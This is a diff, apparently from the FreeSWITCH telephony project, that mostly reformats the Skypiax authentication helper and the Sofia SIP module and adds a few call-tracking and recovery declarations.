||||
else
|
||||
dispname = ":0.0";
|
||||
if (argc == 2)
|
||||
dispname = argv[1];
|
||||
else
|
||||
dispname = ":0.0";
|
||||
|
||||
disp = XOpenDisplay(dispname);
|
||||
if (!disp) {
|
||||
printf("Cannot open X Display '%s', exiting\n", dispname);
|
||||
return -1;
|
||||
}
|
||||
disp = XOpenDisplay(dispname);
|
||||
if (!disp) {
|
||||
printf("Cannot open X Display '%s', exiting\n", dispname);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int xfd;
|
||||
xfd = XConnectionNumber(disp);
|
||||
int xfd;
|
||||
xfd = XConnectionNumber(disp);
|
||||
|
||||
SkypiaxHandles.disp = disp;
|
||||
SkypiaxHandles.disp = disp;
|
||||
|
||||
if (skypiax_present(&SkypiaxHandles)) {
|
||||
root = DefaultRootWindow(disp);
|
||||
win =
|
||||
XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
|
||||
BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
|
||||
DefaultScreen
|
||||
(disp)));
|
||||
if (skypiax_present(&SkypiaxHandles)) {
|
||||
root = DefaultRootWindow(disp);
|
||||
win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
|
||||
|
||||
SkypiaxHandles.win = win;
|
||||
SkypiaxHandles.win = win;
|
||||
|
||||
snprintf(buf, 512, "NAME skypiax");
|
||||
snprintf(buf, 512, "NAME skypiax");
|
||||
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf
|
||||
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
snprintf(buf, 512, "PROTOCOL 6");
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf
|
||||
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
snprintf(buf, 512, "PROTOCOL 6");
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* perform an events loop */
|
||||
XEvent an_event;
|
||||
char buf[21]; /* can't be longer */
|
||||
char buffer[17000];
|
||||
char *b;
|
||||
int i;
|
||||
/* perform an events loop */
|
||||
XEvent an_event;
|
||||
char buf[21]; /* can't be longer */
|
||||
char buffer[17000];
|
||||
char *b;
|
||||
int i;
|
||||
|
||||
b = buffer;
|
||||
b = buffer;
|
||||
|
||||
while (1) {
|
||||
XNextEvent(disp, &an_event);
|
||||
switch (an_event.type) {
|
||||
case ClientMessage:
|
||||
while (1) {
|
||||
XNextEvent(disp, &an_event);
|
||||
switch (an_event.type) {
|
||||
case ClientMessage:
|
||||
|
||||
if (an_event.xclient.format != 8)
|
||||
break;
|
||||
if (an_event.xclient.format != 8)
|
||||
break;
|
||||
|
||||
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
|
||||
buf[i] = an_event.xclient.data.b[i];
|
||||
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
|
||||
buf[i] = an_event.xclient.data.b[i];
|
||||
|
||||
buf[i] = '\0';
|
||||
buf[i] = '\0';
|
||||
|
||||
strcat(buffer, buf);
|
||||
strcat(buffer, buf);
|
||||
|
||||
if (i < 20) { /* last fragment */
|
||||
unsigned int howmany;
|
||||
if (i < 20) { /* last fragment */
|
||||
unsigned int howmany;
|
||||
|
||||
howmany = strlen(b) + 1;
|
||||
howmany = strlen(b) + 1;
|
||||
|
||||
printf("RECEIVED==> %s\n", b);
|
||||
memset(buffer, '\0', 17000);
|
||||
}
|
||||
printf("RECEIVED==> %s\n", b);
|
||||
memset(buffer, '\0', 17000);
|
||||
}
|
||||
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf
|
||||
("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
|
||||
dispname);
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
|
||||
}
|
||||
@@ -719,7 +719,7 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
|
||||
DEBUGA_SKYPE("CHANNEL READ CONTINUE\n", SKYPIAX_P_LOG);
|
||||
continue;
|
||||
}
|
||||
switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
|
||||
switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
|
||||
*frame = &tech_pvt->read_frame;
|
||||
#if SWITCH_BYTE_ORDER == __BIG_ENDIAN
|
||||
if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
|
||||
|
||||
@@ -1101,7 +1101,7 @@ void *skypiax_do_tcp_cli_thread_func(void *obj)
|
||||
/* send the 16khz frame to the Skype client waiting for incoming audio to be sent to the remote party */
|
||||
if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
|
||||
len = send(fd, (char *) cli_out, got, 0);
|
||||
//skypiax_sleep(5000); //5 msec
|
||||
//skypiax_sleep(5000); //5 msec
|
||||
|
||||
if (len == -1) {
|
||||
break;
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -205,6 +205,7 @@ typedef enum {
|
||||
PFLAG_SQL_IN_TRANS,
|
||||
PFLAG_PASS_CALLEE_ID,
|
||||
PFLAG_LOG_AUTH_FAIL,
|
||||
PFLAG_TRACK_CALLS,
|
||||
/* No new flags below this line */
|
||||
PFLAG_MAX
|
||||
} PFLAGS;
|
||||
@@ -258,6 +259,9 @@ typedef enum {
|
||||
TFLAG_PASS_RFC2833,
|
||||
TFLAG_UPDATING_DISPLAY,
|
||||
TFLAG_ENABLE_SOA,
|
||||
TFLAG_TRACKED,
|
||||
TFLAG_RECOVERING,
|
||||
TFLAG_RECOVERING_BRIDGE,
|
||||
/* No new flags below this line */
|
||||
TFLAG_MAX
|
||||
} TFLAGS;
|
||||
@@ -343,8 +347,8 @@ typedef enum {
|
||||
struct sofia_gateway_subscription {
|
||||
sofia_gateway_t *gateway;
|
||||
char *expires_str;
|
||||
char *event; /* eg, 'message-summary' to subscribe to MWI events */
|
||||
char *content_type; /* eg, application/simple-message-summary in the case of MWI events */
|
||||
char *event; /* eg, 'message-summary' to subscribe to MWI events */
|
||||
char *content_type; /* eg, application/simple-message-summary in the case of MWI events */
|
||||
uint32_t freq;
|
||||
int32_t retry_seconds;
|
||||
time_t expires;
|
||||
@@ -501,7 +505,7 @@ struct sofia_profile {
|
||||
char *odbc_dsn;
|
||||
char *odbc_user;
|
||||
char *odbc_pass;
|
||||
// switch_odbc_handle_t *master_odbc;
|
||||
// switch_odbc_handle_t *master_odbc;
|
||||
switch_queue_t *sql_queue;
|
||||
char *acl[SOFIA_MAX_ACL];
|
||||
uint32_t acl_count;
|
||||
@@ -548,7 +552,8 @@ struct private_object {
|
||||
switch_caller_profile_t *caller_profile;
|
||||
uint32_t timestamp_send;
|
||||
switch_rtp_t *rtp_session;
|
||||
int ssrc;
|
||||
uint32_t ssrc;
|
||||
uint32_t video_ssrc;
|
||||
sofia_profile_t *profile;
|
||||
char *local_sdp_audio_ip;
|
||||
switch_port_t local_sdp_audio_port;
|
||||
@@ -683,10 +688,10 @@ typedef enum {
|
||||
} auth_res_t;
|
||||
|
||||
typedef struct {
|
||||
char *to;
|
||||
char *contact;
|
||||
char *route;
|
||||
char *route_uri;
|
||||
char *to;
|
||||
char *contact;
|
||||
char *route;
|
||||
char *route_uri;
|
||||
} sofia_destination_t;
|
||||
|
||||
#define sofia_test_pflag(obj, flag) ((obj)->pflags[flag] ? 1 : 0)
|
||||
@@ -734,21 +739,23 @@ void sofia_handle_sip_i_refer(nua_t *nua, sofia_profile_t *profile, nua_handle_t
|
||||
|
||||
void sofia_handle_sip_i_info(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, switch_core_session_t *session, sip_t const *sip, tagi_t tags[]);
|
||||
|
||||
void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
|
||||
tagi_t tags[]);
|
||||
|
||||
void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
|
||||
tagi_t tags[]);
|
||||
|
||||
void sofia_event_callback(nua_event_t event,
|
||||
int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
|
||||
void *SWITCH_THREAD_FUNC sofia_profile_thread_run(switch_thread_t *thread, void *obj);
|
||||
|
||||
void launch_sofia_profile_thread(sofia_profile_t *profile);
|
||||
|
||||
switch_status_t sofia_presence_chat_send(const char *proto, const char *from, const char *to, const char *subject,
|
||||
const char *body, const char *type, const char *hint);
|
||||
const char *body, const char *type, const char *hint);
|
||||
void sofia_glue_tech_absorb_sdp(private_object_t *tech_pvt);
|
||||
|
||||
/*
|
||||
@@ -766,10 +773,10 @@ void sofia_presence_mwi_event_handler(switch_event_t *event);
|
||||
void sofia_presence_cancel(void);
|
||||
switch_status_t config_sofia(int reload, char *profile_name);
|
||||
void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_regtype_t regtype, const char *realm, int stale);
|
||||
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
|
||||
sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
|
||||
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
|
||||
sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
|
||||
long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count);
|
||||
|
||||
|
||||
|
||||
void sofia_reg_handle_sip_r_challenge(int status,
|
||||
char const *phrase,
|
||||
@@ -777,21 +784,19 @@ void sofia_reg_handle_sip_r_challenge(int status,
|
||||
nua_handle_t *nh, sofia_private_t *sofia_private,
|
||||
switch_core_session_t *session, sofia_gateway_t *gateway, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_reg_handle_sip_r_register(int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_handle_sip_i_options(int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_i_message(int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_r_subscribe(int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_i_subscribe(int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
|
||||
tagi_t tags[]);
|
||||
void sofia_handle_sip_i_options(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private,
|
||||
sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
|
||||
tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_i_message(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
|
||||
sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_r_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
|
||||
sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_presence_handle_sip_i_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
|
||||
sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
|
||||
void sofia_glue_execute_sql(sofia_profile_t *profile, char **sqlp, switch_bool_t sql_already_dynamic);
|
||||
void sofia_glue_actually_execute_sql(sofia_profile_t *profile, char *sql, switch_mutex_t *mutex);
|
||||
@@ -801,13 +806,14 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot);
|
||||
void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now);
|
||||
void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now);
|
||||
void sofia_reg_unregister(sofia_profile_t *profile);
|
||||
switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool);
|
||||
switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
|
||||
const char *sourceip, switch_memory_pool_t *pool);
|
||||
|
||||
void sofia_glue_pass_sdp(private_object_t *tech_pvt, char *sdp);
|
||||
int sofia_glue_get_user_host(char *in, char **user, char **host);
|
||||
switch_call_cause_t sofia_glue_sip_cause_to_freeswitch(int status);
|
||||
void sofia_glue_do_xfer_invite(switch_core_session_t *session);
|
||||
uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
|
||||
uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
|
||||
sofia_regtype_t regtype, char *key, uint32_t keylen, switch_event_t **v_event, const char *is_nat);
|
||||
extern switch_endpoint_interface_t *sofia_endpoint_interface;
|
||||
void sofia_presence_set_chat_hash(private_object_t *tech_pvt, sip_t const *sip);
|
||||
@@ -816,11 +822,9 @@ char *sofia_glue_get_url_from_contact(char *buf, uint8_t to_dup);
|
||||
void sofia_presence_set_hash_key(char *hash_key, int32_t len, sip_t const *sip);
|
||||
void sofia_glue_sql_close(sofia_profile_t *profile, time_t prune);
|
||||
int sofia_glue_init_sql(sofia_profile_t *profile);
|
||||
char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only, const char *params);
|
||||
switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile,
|
||||
switch_mutex_t *mutex,
|
||||
char *sql,
|
||||
switch_core_db_callback_func_t callback,
|
||||
char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only,
|
||||
const char *params);
|
||||
switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
|
||||
void *pdata);
|
||||
char *sofia_glue_execute_sql2str(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, char *resbuf, size_t len);
|
||||
void sofia_glue_check_video_codecs(private_object_t *tech_pvt);
|
||||
@@ -884,14 +888,15 @@ sofia_transport_t sofia_glue_url2transport(const url_t *url);
|
||||
sofia_transport_t sofia_glue_str2transport(const char *str);
|
||||
|
||||
const char *sofia_glue_transport2str(const sofia_transport_t tp);
|
||||
char * sofia_glue_find_parameter(const char *str, const char *param);
|
||||
char *sofia_glue_find_parameter(const char *str, const char *param);
|
||||
char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport);
|
||||
char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport);
|
||||
char *sofia_glue_strip_uri(const char *str);
|
||||
int sofia_glue_check_nat(sofia_profile_t *profile, const char *network_ip);
|
||||
int sofia_glue_transport_has_tls(const sofia_transport_t tp);
|
||||
const char *sofia_glue_get_unknown_header(sip_t const *sip, const char *name);
|
||||
switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type, switch_rtp_crypto_direction_t direction);
|
||||
switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type,
|
||||
switch_rtp_crypto_direction_t direction);
|
||||
void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt);
|
||||
switch_status_t sofia_glue_tech_proxy_remote_addr(private_object_t *tech_pvt);
|
||||
void sofia_presence_event_thread_start(void);
|
||||
@@ -901,10 +906,11 @@ switch_status_t sofia_glue_tech_set_video_codec(private_object_t *tech_pvt, int
|
||||
const char *sofia_glue_strip_proto(const char *uri);
|
||||
switch_status_t reconfig_sofia(sofia_profile_t *profile);
|
||||
void sofia_glue_del_gateway(sofia_gateway_t *gp);
|
||||
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip);
|
||||
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
|
||||
const char *network_ip);
|
||||
void sofia_glue_restart_all_profiles(void);
|
||||
void sofia_glue_toggle_hold(private_object_t *tech_pvt, int sendonly);
|
||||
const char * sofia_state_string(int state);
|
||||
const char *sofia_state_string(int state);
|
||||
switch_status_t sofia_glue_tech_set_codec(private_object_t *tech_pvt, int force);
|
||||
void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout);
|
||||
void sofia_glue_set_image_sdp(private_object_t *tech_pvt, switch_t38_options_t *t38_options);
|
||||
@@ -918,7 +924,8 @@ void sofia_sla_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_ha
|
||||
void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
|
||||
void sofia_sla_handle_sip_r_subscribe(int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
|
||||
tagi_t tags[]);
|
||||
void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
|
||||
|
||||
/*
|
||||
@@ -944,12 +951,16 @@ sofia_cid_type_t sofia_cid_name2type(const char *name);
|
||||
void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup);
|
||||
void sofia_glue_set_rtp_stats(private_object_t *tech_pvt);
|
||||
void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port);
|
||||
sofia_destination_t* sofia_glue_get_destination(char *data);
|
||||
sofia_destination_t *sofia_glue_get_destination(char *data);
|
||||
void sofia_glue_free_destination(sofia_destination_t *dst);
|
||||
switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip);
|
||||
switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
|
||||
const char *body, const char *o_contact, const char *network_ip);
|
||||
char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix);
|
||||
void sofia_glue_set_extra_headers(switch_channel_t *channel, sip_t const *sip, const char *prefix);
|
||||
void sofia_info_send_sipfrag(switch_core_session_t *aleg, switch_core_session_t *bleg);
|
||||
void sofia_update_callee_id(switch_core_session_t *session, sofia_profile_t *profile, sip_t const *sip, switch_bool_t send);
|
||||
void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number);
|
||||
int sofia_sla_supported(sip_t const *sip);
|
||||
void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force);
|
||||
void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session);
|
||||
int sofia_glue_recover(switch_bool_t flush);
|
||||
+599
-577
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -58,7 +58,7 @@ static void sofia_reg_new_handle(sofia_gateway_t *gateway_ptr, int attach)
|
||||
switch_assert(gateway_ptr->sofia_private);
|
||||
}
|
||||
memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
|
||||
|
||||
|
||||
gateway_ptr->sofia_private->gateway = gateway_ptr;
|
||||
nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
|
||||
}
|
||||
@@ -74,26 +74,24 @@ static void sofia_reg_kill_reg(sofia_gateway_t *gateway_ptr)
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
if (!gateway_ptr->nh) {
|
||||
sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
|
||||
}
|
||||
*/
|
||||
if (!gateway_ptr->nh) {
|
||||
sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
|
||||
}
|
||||
*/
|
||||
|
||||
if (gateway_ptr->nh) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "UN-Registering %s\n", gateway_ptr->name);
|
||||
nua_unregister(gateway_ptr->nh,
|
||||
NUTAG_URL(gateway_ptr->register_url),
|
||||
NUTAG_REGISTRAR(gateway_ptr->register_proxy),
|
||||
TAG_END());
|
||||
nua_unregister(gateway_ptr->nh, NUTAG_URL(gateway_ptr->register_url), NUTAG_REGISTRAR(gateway_ptr->register_proxy), TAG_END());
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase) {
|
||||
static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase)
|
||||
{
|
||||
switch_event_t *s_event;
|
||||
if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_GATEWAY_STATE) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "Gateway", gateway->name);
|
||||
@@ -132,7 +130,7 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
* header (which we control in the outgoing subscription request)
|
||||
*/
|
||||
sofia_gateway_t *gateway_ptr;
|
||||
|
||||
|
||||
for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
|
||||
sofia_gateway_subscription_t *gw_sub_ptr;
|
||||
|
||||
@@ -140,7 +138,7 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
int ss_state = nua_callstate_authenticating;
|
||||
sub_state_t ostate = gw_sub_ptr->state;
|
||||
char *user_via = NULL;
|
||||
|
||||
|
||||
if (!now) {
|
||||
gw_sub_ptr->state = ostate = SUB_STATE_UNSUBED;
|
||||
gw_sub_ptr->expires_str = "0";
|
||||
@@ -167,38 +165,27 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
SIPTAG_EVENT_STR(gw_sub_ptr->event),
|
||||
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
|
||||
SIPTAG_TO_STR(gateway_ptr->register_from),
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from),
|
||||
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
|
||||
TAG_NULL());
|
||||
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), TAG_NULL());
|
||||
|
||||
break;
|
||||
case SUB_STATE_UNSUBED:
|
||||
gateway_ptr->sub_nh = nua_handle(gateway_ptr->profile->nua, NULL,
|
||||
NUTAG_URL(gateway_ptr->register_proxy),
|
||||
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
|
||||
SIPTAG_TO_STR(gateway_ptr->register_to),
|
||||
NUTAG_CALLSTATE_REF(ss_state),
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
|
||||
NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
|
||||
|
||||
|
||||
gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
|
||||
switch_assert(gateway_ptr->sofia_private);
|
||||
|
||||
|
||||
memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
|
||||
|
||||
gateway_ptr->sofia_private->gateway = gateway_ptr;
|
||||
nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
|
||||
|
||||
if (now) {
|
||||
nua_subscribe(gateway_ptr->sub_nh,
|
||||
NUTAG_URL(gateway_ptr->register_url),
|
||||
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
|
||||
SIPTAG_EVENT_STR(gw_sub_ptr->event),
|
||||
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
|
||||
SIPTAG_TO_STR(gateway_ptr->register_from),
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from),
|
||||
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
|
||||
SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), // sofia stack bases its auto-refresh stuff on this
|
||||
nua_subscribe(gateway_ptr->sub_nh, NUTAG_URL(gateway_ptr->register_url), TAG_IF(user_via, SIPTAG_VIA_STR(user_via)), SIPTAG_EVENT_STR(gw_sub_ptr->event), SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type), SIPTAG_TO_STR(gateway_ptr->register_from), SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), // sofia stack bases its auto-refresh stuff on this
|
||||
TAG_NULL());
|
||||
gw_sub_ptr->retry = now + gw_sub_ptr->retry_seconds;
|
||||
} else {
|
||||
@@ -209,13 +196,11 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from),
|
||||
SIPTAG_TO_STR(gateway_ptr->register_from),
|
||||
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
|
||||
SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),
|
||||
TAG_NULL());
|
||||
SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), TAG_NULL());
|
||||
}
|
||||
gw_sub_ptr->state = SUB_STATE_TRYING;
|
||||
break;
|
||||
|
||||
|
||||
case SUB_STATE_FAILED:
|
||||
case SUB_STATE_TRYING:
|
||||
if (gw_sub_ptr->retry && now >= gw_sub_ptr->retry) {
|
||||
@@ -294,13 +279,11 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
nua_handle_bind(nh, pvt);
|
||||
|
||||
gateway_ptr->pinging = 1;
|
||||
nua_options(nh,
|
||||
nua_options(nh,
|
||||
